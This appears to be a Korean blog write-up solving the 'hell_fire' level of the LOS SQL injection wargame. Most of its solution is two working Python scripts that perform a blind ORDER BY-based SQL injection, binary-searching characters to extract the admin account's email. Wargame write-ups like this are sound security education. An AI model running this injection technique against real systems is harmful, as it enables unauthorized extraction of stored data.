LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
이번 문제는 조금 색다른게 테이블이 존재한다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
색다르게 email이 맞아야하는데,
id가 admin이면 이메일이 노출되지 않는 것으로 보인다.
또한, order by 구문을 사용하여 order을 GET으로
받고 있는 것을 확인할 수 있다.
order by 구문은 지정된 컬럼을 기준으로 정렬이 가능한데
다음처럼 score를 작성하면 점수별 정렬이 가능하다.
여기서 이제 rubiya의 이메일이 아니라,
코드 하단부에 admin의 이메일을 입력해야한다.
email로 정렬했을때 맨 앞글자인 r보다 앞에 오기 때문에
r을 포함한 이전 문자들이 올 가능성이 높아보인다.
여기서 이전에 사용한 union을 활용한 구문을 사용할 수 없는 것은
해당 문자열이 필터링 되어있기 때문이다.
또한, 컬럼의 갯수는 3이기 때문에 4를 입력하면 반환되지 않는다.
이럴때 우리는 order by () 괄호를 이용해서 sql injection이 가능하게 된다.
단, select email from prob_hell_fire는 불가능한 것이 해당 _ 기호도
필터링 되어있음을 알아야 한다.
예를 들어서 id의 첫번째 글자를 a로 정렬하게 되면
다음과 같이 정렬되게 되고,
r로 정렬을 하게 되면
다음과 같이 rubiya가 밑에 내려가는 것을 확인할 수 있다.
이와 같은 구문으로 이메일의 길이를 구해보도록 하자.
예를 들어서 rubiya의 이메일 길이는 18자인데,
해당 올바른 구문을 삽입하게 되면 밑으로 내려가 정렬되게 된다.
이를 id는 admin인 계정으로 정렬이 되면 admin의 이메일 길이를 알 수 있게 된다.
admin이 위로 가있을 때 참이였기 때문에,
1과 0의 순서를 바꿔주고 18보다 큰 이메일 길이를 찾게 되면,
이메일 길이가 28자리라는 것을 알아낼 수 있다.
또한, 테이블 태그를 기준으로 하여 텍스트를 뽑아낼 것이기 때문에
해당 끝자리 <th>score</th>와 연결된 admin을 찾기 위해서
다음과 같은 스크립트를 작성할 수 있다.
import requests
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookies = { "PHPSESSID" : "쿠키값" }
def email_length():
length = 1
while True:
params = { "order" : "if(id='admin' and length(email)={}, 0, 1)".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "<th>score</th><tr><td>admin</td>" in request.text:
return length
else:
length += 1
print("이메일 길이:", email_length())
이메일 길이를 확보한 뒤,
import requests
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookies = { "PHPSESSID" : "쿠키값" }
def email_length():
length = 1
while True:
params = { "order" : "if(id='admin' and length(email)={}, 0, 1)".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "<th>score</th><tr><td>admin" in request.text:
return length
else:
length += 1
def email_crack():
emails_length = email_length()
emails = ''
for i in range(1, emails_length+1):
start, end, mid = 1, 127, 64
while True:
params = { "order" : "if(hex(substring((select email where id='admin'),{},1)={}),0,1)".format(i, hex(mid)) }
request = requests.get(url, params=params, cookies=cookies)
if "<th>score</th><tr><td>admin" in request.text:
emails = emails + chr(mid).lower()
print("이메일:", emails)
break
else:
params = { "order" : "if(hex(substring((select email where id='admin'),{},1)>{}),0,1)".format(i, hex(mid)) }
request = requests.get(url, params=params, cookies=cookies)
if "<th>score</th><tr><td>admin" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
email_crack()
해당 스크립트를 통해서 패스워드를 얻을 수 있었다.
hex값으로 삽입하기 때문에 대문자가 출력이 되는데,
대문자로 이메일을 입력하면 문제가 풀리지 않는다.
그래서 lower 함수를 통해 소문자로 바꾸어주었다.
성공적으로 문제 풀이에 성공한다.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] green_dragon (0) | 2022.12.29 |
---|---|
[LOS] evil_wizard (0) | 2022.12.29 |
[LOS] dark_eyes (0) | 2022.12.27 |
[LOS] iron_golem (0) | 2022.12.27 |
[LOS] dragon (0) | 2022.12.27 |